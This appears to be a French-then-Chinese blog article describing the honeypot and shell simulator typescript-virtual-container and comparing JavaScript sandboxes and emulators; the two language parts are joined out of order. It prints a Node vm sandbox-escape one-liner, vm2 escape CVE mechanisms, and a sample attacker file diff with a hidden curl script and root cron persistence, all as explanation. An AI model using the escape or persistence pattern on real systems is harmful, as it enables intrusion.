Tout ça est réalisable en TypeScript pur sans aucune implication du noyau.

Le VirtualFileSystem

Le VFS est un arbre en mémoire de nœuds typés -- pas d'E/S disque sauf si tu actives explicitement le mode de persistance "fs" :

// Représentation interne simplifiée
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder chargé paresseusement

Chaque opération de chemin passe par normalizePath (résout ., .., les liens symboliques) et enforceAccess (vérifie les permissions lecture/écriture/exécution par rapport à l'uid/gid demandeur). chmod, chown, les sticky bits et setuid sont tous implémentés et réellement appliqués. Si un processus tournant en tant que uid 1000 essaye de lire un fichier appartenant à root avec le mode 0600, il obtient EACCES -- pas un faux EACCES, une vraie Error JavaScript lancée depuis la vérification de permission. Cette partie est assez élégante honnêtement.

Le VFS se sérialise en :

  • .vfsb -- un format binaire compact (personnalisé, avec compression fflate) -- c'est le format par défaut
  • Instantané JSON -- lisible par l'humain, bon pour le débogage
  • Archive TAR -- import/export avec le vrai format tar, donc tu peux tar -xf quelque chose et le VFS a juste... ces fichiers
  • Image SquashFS -- import en lecture seule

En mode de persistance "fs", il maintient un journal d'écriture anticipée (WAL) pour la récupération après crash -- les écritures vont d'abord dans le journal, puis dans l'instantané lors du flush. Si Node plante au milieu d'une opération, le journal te permet de reconstruire le dernier état complet.

Il y a aussi une couche FileCache qui simule la latence des E/S disque. Tu configures des profils comme NVME_DISK_IO ou HDD_DISK_IO et le VFS retarde artificiellement les opérations sur les fichiers pour correspondre à des temporisations réalistes. Ce qui est assez drôle -- un logiciel qui se ralentit intentionnellement pour simuler du matériel -- mais en fait très utile pour le benchmarking.

L'interpréteur de shell

L'analyseur syntaxique du shell produit un AST typé :

// "ls /etc | grep root && echo done" s'analyse en :
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

L'exécuteur parcourt cet AST :

  • Pour un pipeline, il crée une chaîne de flux { stdin, stdout, stderr } et exécute chaque commande avec des E/S pipelined
  • Pour les opérateurs logiques (&&, ||), il vérifie $? après le côté gauche avant d'exécuter le droit
  • Pour les sous-shells ($(...), ` `), il bifurque le contexte d'exécution
  • Pour les redirections (>fichier, >>fichier, 2>&1, <fichier), il configure le câblage des flux avant l'exécution
  • Pour les tâches d'arrière-plan (cmd &), il s'exécute sans attendre la fin
  • Pour les variables, il expande $VAR, ${VAR:-default}, ${#VAR}, et l'arithmétique $((expr))
  • Pour l'expansion d'accolades ({a,b,c}, {1..5}), il génère la liste d'expansion complète avant d'exécuter

Tout ça est un vrai comportement POSIX shell. L'analyseur gère les heredocs, la substitution de processus, le globbing (*, ?, [abc]), et la gestion des guillemets (guillemets simples, guillemets doubles avec interpolation, échappement par antislash). Ce n'est pas parfait -- des cas limites existent -- mais c'est bien au-delà de ce à quoi tu t'attendrais de la part d'un projet TypeScript.

~170 commandes intégrées

Les commandes sont des fonctions TypeScript enregistrées dans un registre de commandes. Elles reçoivent un CommandContext avec les flux stdin/stdout/stderr, le VFS, la session utilisateur, l'environnement du shell, et l'accès aux sous-modules.

Écrire 170 implémentations de commandes Unix, c'est... beaucoup. Certaines sont triviales (echo, true, false), certaines sont étonnamment complexes (awk, find, tar). Genre, un awk POSIX complet ? En TypeScript ? C'est fou honnêtement. Voici un échantillon de ce qu'il y a dedans :

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (côté client, connexion sortante),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (éditeur interactif complet), vim (basique), vi (basique),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulé), systemctl (stub), journalctl (stub),
...et environ 130 autres

Les "stubs" (git, python3, node) répondent de manière réaliste aux invocations courantes -- python3 --version retourne une chaîne de version crédible, git status montre un état de dépôt fictif -- sans faire de vrai travail. Pour un honeypot, ce sont en fait plus utiles que les vraies commandes, parce qu'elles te permettent d'observer ce que les attaquants essaient d'exécuter sans rien exécuter de dangereux.

Le serveur SSH

La couche SSH utilise le vrai package npm ssh2 -- vrai protocole SSH, vrai échange de clés, vrai chiffrement. SSHMimic l'enveloppe :

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Vrai SSH : ssh -p 2222 root@localhost
// Vrai SFTP : sftp -P 2222 root@localhost
// Vrai SCP : scp -P 2222 file root@localhost:/tmp/

Les shellProperties déterminent ce que uname -a, lsb_release -a, neofetch, /proc/version, et /etc/os-release rapportent. Tu peux imiter n'importe quelle distribution Linux et version de noyau de manière convaincante -- pour un vrai client SSH, il n'y a littéralement aucun moyen de faire la différence.

Le module HoneyPot

Parce que l'interpréteur de shell est réel et que le serveur SSH est réel, les commandes des attaquants s'exécutent réellement dans l'environnement virtuel. Les requêtes wget déclenchées par l'attaquant sont journalisées avec les URL de destination. Les fichiers créés par l'attaquant sont sauvegardés dans le VFS. Les tentatives d'escalade de privilèges de l'attaquant produisent des erreurs réalistes.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Après une session, différencier le système de fichiers
const before = shell.vfs.toSnapshot();
// ... session de l'attaquant ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

C'est qualitativement différent de Cowrie. Le faux système de fichiers de Cowrie peut répondre à ls mais ne peut pas réellement suivre les fichiers qu'un attaquant a créés et les modifications qu'il a apportées sous forme de diff structuré. typescript-virtual-container le peut, parce que le VFS est une structure de données vivante -- chaque écriture est suivie. Cette entrée cron que l'attaquant vient d'ajouter ? Elle est dans le diff. Ce dossier .hidden ? Dans le diff. Plutôt utile pour l'analyse de malwares.

La pile réseau virtuelle

C'est probablement la partie la plus impressionnante de tout le projet, et elle n'a pas d'équivalent dans aucun autre projet de cet espace. Genre, une pile réseau virtuelle L2/L3 complète avec support VPN, écrite en TypeScript pur, sans aucune carte réseau réelle impliquée. C'est vraiment fou.

VirtualNetworkManager donne à chaque instance VirtualShell des interfaces réseau virtuelles avec des adresses IP configurables, des tables de routage, et un pare-feu logiciel (règles de style iptables avec conntrack et NAT). ip addr, ip route, iptables -L, netstat -rn montrent tous l'état du réseau virtuel.

VirtualSwitch (nommé Baie -- du mot français pour baie de serveur, "baie informatique") connecte plusieurs shells sur un sous-réseau partagé. Il implémente :

  • Apprentissage MAC et ARP
  • Routage IP entre sous-réseaux
  • NAT (masquerade sortante)
  • DNS (enregistrements configurables par sous-réseau)
  • Équilibrage de charge (round-robin, moindre connexions)
  • Façonnage du trafic : latence, gigue (distribution gaussienne), perte de paquets, perte par salves, réordonnancement, duplication
  • Limitation de bande passante (seau à jetons)
  • Application MTU
  • Suivi de connexion (avec état, états NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Trois machines virtuelles sur le même commutateur
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Pare-feu : web peut atteindre api, api peut atteindre db, web ne peut pas atteindre db directement
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Façonnage du trafic : simuler une liaison WAN instable vers l'extérieur
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn crée des tunnels chiffrés entre instances de Baie -- tu peux simuler un réseau multi-site avec des interconnexions VPN entre sites.

VirtualProxy implémente le forwarding de ports et un proxy SOCKS5.

Rien de tout ça ne touche à une vraie carte réseau. C'est tout du routage d'objets TypeScript. La commande ping "marche" en routant via le commutateur virtuel et en retournant des réponses ICMP simulées. curl http://192.168.0.3/api route via le réseau virtuel, atteint la réponse HTTP simulée du shell api, et retourne le contenu. C'est des tortues jusqu'en bas, dans le meilleur sens possible.

Le SandboxedShell

Pour une utilisation programmatique où tu as besoin d'une isolation plus forte, SandboxedShell exécute une session shell dans un thread Worker Node.js :

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% d'un cœur
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

L'isolation ici est assurée par la couche VFS (le shell du thread worker ne peut voir que le système de fichiers virtuel, jamais le système de fichiers hôte) plus l'isolation mémoire du thread Worker Node.js. C'est plus léger que isolated-vm mais plus approprié pour une isolation au niveau shell plutôt qu'au niveau JS.

Plafonnement des ressources

Tu peux configurer des limites de ressources par shell qui affectent ce que les commandes de monitoring système rapportent :

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

À l'intérieur de ce shell, free -m montre 512 Mo de RAM totale. nproc retourne 2. /proc/meminfo montre les valeurs plafonnées. htop et top montrent le nombre de CPU plafonné. Ça te permet de définir précisément l'empreinte matérielle de la machine simulée.

Trois modes de déploiement

Mode 1 : Serveur SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Vrai protocole SSH, vrai SFTP, vrai SCP
  → Cas d'usage : honeypots, environnements de test distants, laboratoires de formation

Mode 2 : Shell web (navigateur)
  builds/fortune-nyx-v1.7.8-web.min.js (bundle ESM)
  → Tourne dans le navigateur, VFS persisté dans IndexedDB
  → Cas d'usage : tutoriels interactifs, terminaux embarqués, démos
  → Bonus : exécute startxfce4 pour un bureau XFCE complet simulé

Mode 3 : CLI autonome
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (un seul fichier, pas d'installation)
  → curl et exécute, persisté le VFS dans le répertoire .vfs/
  → Cas d'usage : démos rapides, expérimentation locale

Les polyfills -- comment le build navigateur fonctionne sans Wasm

OK c'est la partie que je trouve vraiment intelligente et que je voulais souligner spécialement.

Faire fonctionner une bibliothèque Node.js dans le navigateur est généralement un cauchemar. Soit tu utilises un runtime Wasm (lourd, lent à charger), soit tu passes des semaines à remplacer manuellement chaque import node:* par une alternative compatible navigateur. Fortune a fait la deuxième chose -- mais très proprement, en écrivant un ensemble de polyfills personnalisés qui vivent dans le répertoire polyfills/ du dépôt.

La pipeline de build est juste esbuild avec un tas d'entrées alias :

// demo/build.js -- toute la config du build navigateur
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Pas de Wasm. Pas de bibliothèque de polyfills externe. Pas de trucs webpack-node-externals. Juste des modules aliasés et quelques globales injectées. Laisse-moi détailler chacun parce que certains sont vraiment impressionnants.

node:fs -- IndexedDB comme faux système de fichiers

Celui-ci est mon préféré. Le polyfill node:fs implémente l'API synchrone Node.js fs (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) soutenue par deux couches : une Map en mémoire pour les lectures synchrones, et IndexedDB pour la persistance entre les rechargements de page. Les écritures vont dans la Map immédiatement (donc readFileSync juste après writeFileSync fonctionne toujours), puis sont vidées vers IndexedDB de manière asynchrone en arrière-plan.

// Cache synchrone (chemin → Uint8Array | null) -- lectures instantanées
const memCache = new Map();

// Précharger tout depuis IndexedDB dans memCache au démarrage
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

C'est la raison pour laquelle l'instantané VFS survit aux rechargements de page dans le navigateur -- le binaire .vfsb entier est écrit dans IndexedDB via ce polyfill, et relu au chargement suivant. Pas de Wasm. Pas de serveur. Juste IndexedDB, qui est dans tous les navigateurs depuis genre 2011.

node:crypto -- SHA-256 en JS pur

Au lieu d'importer une bibliothèque crypto Wasm, le polyfill crypto implémente SHA-256 depuis zéro en utilisant les constantes de tour FIPS 180-4. 166 lignes de JS pur avec support complet des sorties hex/base64/Uint8Array. Tout le hachage dans la bibliothèque passe par là -- l'empreinte des clés hôtes SSH, les sommes de contrôle internes, tout. Compact, zéro dépendance, ça marche.

node:os -- lit le vrai matériel du navigateur

Celle-ci est une belle attention. Au lieu de retourner des valeurs fictives codées en dur, node:os lit navigator.deviceMemory pour la RAM totale et navigator.hardwareConcurrency pour le nombre de CPU. Donc neofetch dans le build navigateur rapporte en fait quelque chose qui correspond à ta vraie machine -- pas un stub bidon 2 cœurs, 2 Go de RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 Go par défaut
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // analyse aussi navigator.userAgent pour deviner la chaîne du modèle CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- des stubs honnêtes

Le navigateur ne peut pas ouvrir de sockets TCP ou exécuter du vrai SSH, donc ce sont des stubs qui lancent une erreur NotImplemented avec un message clair si quelque chose essaye de les utiliser. Pas d'échec silencieux, pas de undefined retourné là où un objet est attendu. Juste un message fort et clair "ça ne marche pas dans le navigateur" -- ce qui est exactement ce que tu veux.

process.js et buffer.js -- des globales injectées

Ces deux-là sont injectés en haut de chaque fichier du bundle via l'option inject d'esbuild, donc process et Buffer sont disponibles globalement sans aucun import explicite. process.js est minuscule : env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js est une réimplémentation complète de Buffer par-dessus Uint8Array -- toutes les méthodes readUInt32BE, writeInt16LE, les encodages hex/base64 dont l'implémentation SSH et le VFS dépendent.


L'ensemble des polyfills fait environ 640 lignes de JS écrit à la main au total. Pas de packages npm. Pas de Wasm. Et le résultat est un bundle navigateur qui est juste la bibliothèque, tournant nativement, sans aucune de l'anxiété habituelle du "mais est-ce que ça marche vraiment dans le navigateur ?" que tu as avec les bibliothèques conçues pour Node en premier. Ça vaut le coup de jeter un œil au dossier polyfills/ dans le dépôt si tu es curieux -- chaque fichier est bien contenu et lisible par lui-même, ce qui est un choix de style que j'apprécie beaucoup.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Catégorie Bac à sable JS Bac à sable JS Bac à sable JS Émulateur Émulateur Node.js/Wasm Honeypot Simulateur
Isole le JS ⚠️ portée ✅ V8 Isolate ✅ Wasm n/a n/a partiel n/a ✅ Worker
Vrai noyau Linux ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Interpréteur shell ❌ ❌ ❌ ✅ (réel) ✅ (réel) ✅ (réel) partiel ✅ (personnalisé)
~170 commandes Unix ❌ ❌ ❌ ✅ ✅ partiel ~20 ✅
Permissions POSIX ❌ ❌ ❌ ✅ ✅ ✅ partiel ✅ appliquées
Gestion utilisateurs ❌ ❌ ❌ ✅ ✅ ❌ minime ✅ complète
Vrai serveur SSH ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/audit ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/instantané VFS ❌ ❌ ❌ limité ❌ ❌ ❌ ✅
Réseau virtuel L2/L3 ❌ ❌ ❌ basique ❌ ❌ ❌ ✅ complet
VPN virtuel ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Support navigateur ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js natif ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API typée basique ✅ ✅ minimale ❌ ✅ ❌ ✅ complète
Compatibilité binaire n/a n/a n/a ✅ ✅ partiel n/a ❌
Temps démarrage instantané instantané instantané 15-40s 15-40s 2-5s instantané <1s
RAM/instance ~1 Mo ~3-10 Mo ~5-15 Mo 150-256 Mo 200+ Mo ~100 Mo ~50 Mo ~5-20 Mo
Dépendances runtime 0 1 (native) 1 (Wasm) 0 propriétaire 1 dépendances Python 3 (ssh2, ws, fflate)
Statut stable ✅ actif ✅ actif ✅ très actif commercial ✅ actif ✅ actif ✅ actif

Quand utiliser quoi

Tu dois exécuter du JavaScript non fiable -- une formule soumise par un utilisateur, un plugin, un hook de script.
→ isolated-vm. Vrai V8 Isolate, limites mémoire strictes, pont de communication explicite. Évite vm2 -- la liste des CVE ne fait que s'allonger, sérieusement c'est comme une nouvelle tous les quelques mois. Évite vm -- ce n'est pas un bac à sable du tout, s'il te plaît.

Tu dois isoler du JS et tu ne veux pas d'extension native, ou tu as besoin de compatibilité navigateur.
→ quickjs-emscripten. Frontière Wasm, module d'environ 500 Ko, fonctionne dans les navigateurs et Node. Plus lent que V8 mais vraiment isolé.

Tu dois démarrer un vrai OS Linux non modifié avec compatibilité binaire.
→ v86 pour du Linux 32-bit, ou container2wasm si tu as une image Docker existante. Accepte 150 Mo+ de RAM et 30 secondes de démarrage, c'est le deal. Si tu as besoin de 64-bit, regarde CheerpX ou utilise juste un vrai runtime de conteneur.

Tu dois intégrer un terminal de type Linux dans une application web sans backend.
→ v86 (OS complet, lourd, lent à démarrer) ou le bundle navigateur de typescript-virtual-container (simulateur, plus léger, démarrage instantané, inclut startxfce4 pour un bureau complet ce qui est assez cool pour le coup).

Tu as besoin de tutoriels de codage interactifs en ligne ou d'un IDE navigateur.
→ WebContainers si tu es focalisé sur l'écosystème Node.js. CheerpX si tu as besoin d'un vrai userspace Linux. Le bundle navigateur de typescript-virtual-container si tu veux une option plus légère avec une API typée.

Tu veux collecter des TTP d'attaquants SSH à grande échelle.
→ Cowrie est le standard de production, point final. Tourne sur n'importe quel serveur Linux, s'intègre avec tous les SIEM, a un mode LLM maintenant. Utilise juste Cowrie.

Tu veux des données de honeypot SSH dans une application Node.js avec une API programmable.
→ typescript-virtual-container. Les commandes s'exécutent réellement. Le VFS est une vraie structure de données que tu peux instantanément capturer et différencier. L'attaquant obtient un environnement interactif convaincant, et tu obtiens des données d'audit structurées sans quitter Node.

Tu as besoin d'automatisation shell / de tests en CI sans Docker.
→ typescript-virtual-container. Démarre en moins d'une seconde, instantané avant un test, restauration après. Exécute des commandes shell avec une API typée. Pas de démon Docker, pas de noyau, pas de VM, pas d'attente.

Tu as besoin d'environnements shell multi-locataires (SaaS, éducation, formation).
→ typescript-virtual-container. 5-20 Mo par instance vs. 150-256 Mo pour un émulateur. 100 utilisateurs simultanés : ~2 Go vs. ~25 Go. C'est une grosse différence en coûts d'hébergement !

Tu as besoin d'un honeypot réaliste qui te permette aussi de construire un laboratoire réseau multi-VM.
→ typescript-virtual-container est la seule chose dans cet espace qui fait les deux.


Ce qu'il ne peut pas faire (et je veux être honnête là-dessus)

Il ne peut pas exécuter de binaires x86 natifs. Si tu as besoin de compiler du code C, d'exécuter un vrai interpréteur Python, ou d'utiliser un logiciel compilé pour Linux, il n'y a pas d'ABI noyau pour soutenir ces appels système. Les commandes comme gcc, python3, et node sont des stubs -- elles répondent à --version et aux invocations courantes, mais n'exécutent rien de réel.

C'est le compromis fondamental : tu gagnes 10 à 50 fois moins de mémoire, un démarrage instantané, la compatibilité navigateur, une API typée, du vrai SSH, et du réseau virtuel -- et tu abandonnes la compatibilité binaire avec l'userspace Linux.

Fortune a beaucoup réfléchi à ça en concevant le projet. Pour les cas d'usage qu'elle ciblait -- honeypots, tests, terminaux embarqués, environnements CI -- exécuter un binaire compilé n'est en fait jamais nécessaire. Les pipelines shell, la manipulation de fichiers, le routage réseau et SSH couvrent tout. Mais si ton cas d'usage nécessite un vrai logiciel compilé, v86 ou Docker est la bonne réponse, pas ça.


Pour conclure

Alors voilà. Cet écosystème est plus large et plus fragmenté qu'il n'y paraît de l'extérieur. vm est un séparateur de portée, pas un bac à sable. vm2 continue d'accumuler des CVE (pour de vrai, regarde les avis de ce mois-ci). isolated-vm est la bonne réponse pour l'isolation JS mais JS uniquement. quickjs-emscripten est le bon choix quand tu as besoin de compatibilité navigateur ou que tu veux éviter les extensions natives. v86 et CheerpX sont de vrais émulateurs quand tu as besoin de vraie compatibilité binaire. WebContainers est Node.js en Wasm, pas un environnement Linux généraliste. Cowrie est l'étalon-or des honeypots SSH, mais c'est du Python et pas natif Node.

Et puis il y a typescript-virtual-container -- le projet de Fortune -- qui vit un peu dans sa propre catégorie. Pas un émulateur, pas un bac à sable JS, pas un honeypot passif. Quelque chose entre tous qui s'est avéré étonnamment utile pour beaucoup de choses qu'aucun des autres ne peut faire.

typescript-virtual-container comble le fossé qu'aucun des autres ne touche : un environnement shell Linux complet et programmable avec du vrai SSH, SFTP, des permissions POSIX, la gestion des utilisateurs, du réseau virtuel, et une API TypeScript typée -- tournant dans environ 10 Mo, démarrant en moins d'une seconde, fonctionnant à la fois dans Node.js et le navigateur.

Si tu veux l'essayer : le code source est sur github.com/itsrealfortune/typescript-virtual-container et il y a une démo en ligne (incluant startxfce4 pour un bureau complet, ce qui est franchement malade) sur itsrealfortune.fr/typescript-virtual-container/demo. Va voir ça et laisse quelques étoiles à Fortune sur GitHub, elle les mérite !

Merci d'avoir lu -- celui-ci était un long même pour mes standards :) j'espère que ça t'a été utile !


Sources

J'ai essayé de lier chaque affirmation à une source primaire -- avis CVE, docs officielles, dépôts GitHub, articles de blog des mainteneurs. Quelques notes : la liste des CVE de vm2 continue de s'allonger donc le lien FortiGuard pourrait être obsolète au moment où tu liras ceci (regarde la page des avis GitHub pour les plus récentes). Les liens Bellard sont tous stables -- son site personnel est là depuis toujours et le contenu ne change pas. Et si tu veux approfondir l'un des polyfills, il suffit de parcourir le dossier polyfills/ dans le dépôt typescript-virtual-container directement -- c'est plus lisible que n'importe quelle description que je pourrais écrire ici.

Bacs à sable JavaScript

Émulateurs Linux

Stack terminal

Honeypots

typescript-virtual-container

Lectures complémentaires

Linux 内核模拟的 JavaScript 方案横向对比

深入分析 JavaScript/TypeScript 中 Linux 环境模拟的各种实现。

所有 JavaScript 沙箱、模拟器、仿真器和蜜罐----横向对比

我在这条兔子洞里已经陷得太深太久了。起因是我在帮 typescript-virtual-container 这个项目----由 Fortune(后面会详细介绍她)开发的----然后不断有人问"等等,这个和 v86 有什么不同?"或"为什么不用 vm2?"----我意识到不先把整个生态系统的地图画清楚,我根本没法给出一个清晰的答案。所以现在就有了这篇文章,哈哈。

结果发现有四个不同的家族----JS 沙箱、Linux 仿真器、Linux 模拟器和蜜罐----虽然它们经常被放在一起谈论,但实际上几乎从不重叠。做插件系统的人会用 isolated-vm。做 CLI 工具演示的人会用 v86。做 SSH 威胁情报的人会用 Cowrie。虽然都在"把代码关在盒子里运行"这个模糊的大伞下,但他们在解决完全不同的问题。

我花了很多时间阅读源代码、CVE 报告、架构文档和 npm 页面来写这篇文章。这篇文章会非常长----去冲杯咖啡吧,说真的。或者两杯。

快速声明:typescript-virtual-container 在这篇文章中出现频率较高,因为正是它启发了这项研究。我尽量对其他项目保持公平,但请记住这个背景。


第 0 部分----首先,你实际要解决的是什么问题?

在深入之前,有必要先明确每个家族的用途,因为术语经常混用,人们也总弄混(包括我自己,在我坐下来真正理清之前)。

JS 沙箱将 JavaScript 代码与宿主 Node.js 进程隔离开。威胁模型是:不可信的 JS 代码可能调用 process.exit()、读取文件或衍生子进程。解决方案是在 V8 执行周围设置一道边界。这些工具没有 Linux shell、带权限的文件系统或 SSH 的概念。

Linux 仿真器在 JavaScript 或 WebAssembly 实现的 CPU 仿真器(x86、RISC-V、OR1K)中运行一个真实的、未经修改的 Linux 内核。你启动一个真正的操作系统。获得真正的系统调用。获得与 x86 编译程序的二进制兼容性。开销巨大。

Linux 模拟器模拟 Linux 系统的行为,但不运行真实内核。它们实现了一个 Shell 解释器、一个虚拟文件系统和足够的 Unix 语义来骗过程和用户。没有内核。没有 Wasm。没有 CPU 仿真。开销低得多。

蜜罐旨在吸引攻击者并记录他们的行为。它们主要不是执行环境----而是可观测性工具。对真实 Linux 行为的保真度只要能防止攻击者发现陷阱就足够了。

带着这个框架,以下是本文中每个项目的位置:

JS 沙箱:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux 仿真器:   v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux 模拟器:   typescript-virtual-container (在此领域独树一帜)
蜜罐:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
终端栈:        xterm.js + node-pty (不是隔离器,但密切相关)

第 1 部分----JavaScript 沙箱

1.1 vm ---- Node.js 内置模块(不是你想的那样)

Node 中最古老的"运行不可信 JS"的答案是内置的 vm 模块。它从 v0.1 就有了,所以很多人首先会使用它----然后被坑。

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

vm 实际做的事情:它创建一个新的 V8 上下文(一组全新的内置构造函数----Object、Array、Function 等)并在其中运行代码,与你在 sandbox 中放的对象共享引用。你的 V8 引擎不变。你的进程不变。内存是共享的。

vm 提供不了安全性的原因:JavaScript 的原型链是一个有向无环图,所有东西都连接回 Object.prototype。如果你将宿主域中的任何对象放入沙箱,访客可以沿着它的原型链爬升到宿主构造函数。从 Function 出发,你可以调用 Function("return process")() 恢复出真正的 process 对象。游戏结束。立刻。

// 这段代码在 vm 中完美运行----你拿到了真正的 process 对象
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

我是说,Node.js 文档自己都说:"vm 模块不是安全机制。不要用它运行不可信代码。"这个警告一直都在。人们一直无视它。我见过生产环境的应用用 vm 做沙箱。拜托不要那样做 xD

结论:作用域机制,不是沙箱。需要隔离变量作用域时使用(模板引擎、类似 eval 的功能且你能控制代码)。永远不要用于不可信输入。

内存:开销可忽略----与宿主进程共享同一 V8 堆。 安全性:面对有动机的攻击者,毫无安全性。


1.2 vm2 ---- 社区的尝试,及其漫长的死亡

vm2 是社区对 vm 逃逸问题的回答。核心思想是:用 Proxy 包裹每个穿越沙箱边界的对象,拦截属性访问,阻止原型链攀爬,过滤掉危险引用。理论上很聪明!实践中呢,我们来看看。

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // 抛出 VMError,process 不可访问

几年内它运行得还不错。但 JavaScript Proxy 的攻击面巨大。每一个新的 JS 语言特性----生成器、异步迭代器、Symbol.toPrimitive、Error.prepareStackTrace、Promise 内部槽----都是潜在的绕过向量。

CVE 时间线……真的不一般。来看看:

日期 CVE 机制
2022 年 10 月 CVE-2022-36067 Error.prepareStackTrace 宿主上下文逃逸
2023 年 4 月 CVE-2023-29017 未处理的异步错误栈宿主对象泄漏
2023 年 4 月 CVE-2023-29199 通过 handleException() 绕过异常清理
2023 年 4 月 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
2023 年 5 月 CVE-2023-32314 Error.name 上的 Proxy → Function → RCE
2023 年 7 月 CVE-2023-37466 异步函数 + 栈溢出 + Proxy.getPrototypeOf
2023 年 7 月 CVE-2023-37903 工作线程 + eval 逃逸

同一个月(2023 年 4 月)出现了三个严重 CVE。一个月三个。在 CVE-2023-37903 之后,维护者正式废弃了该库,并附言:"该库包含严重安全问题,不应用于生产环境。"

维护者在 2025 年 10 月以 3.10.0 版本复活了它,声称修复了当时已知的所有问题。2026 年 1 月又披露了一个新的严重逃逸漏洞(CVE-2026-22709,CVSS 9.8),随后 2026 年 5 月又批发了 11 个。十一个。模式没有改变,说实话我觉得永远不会改变。

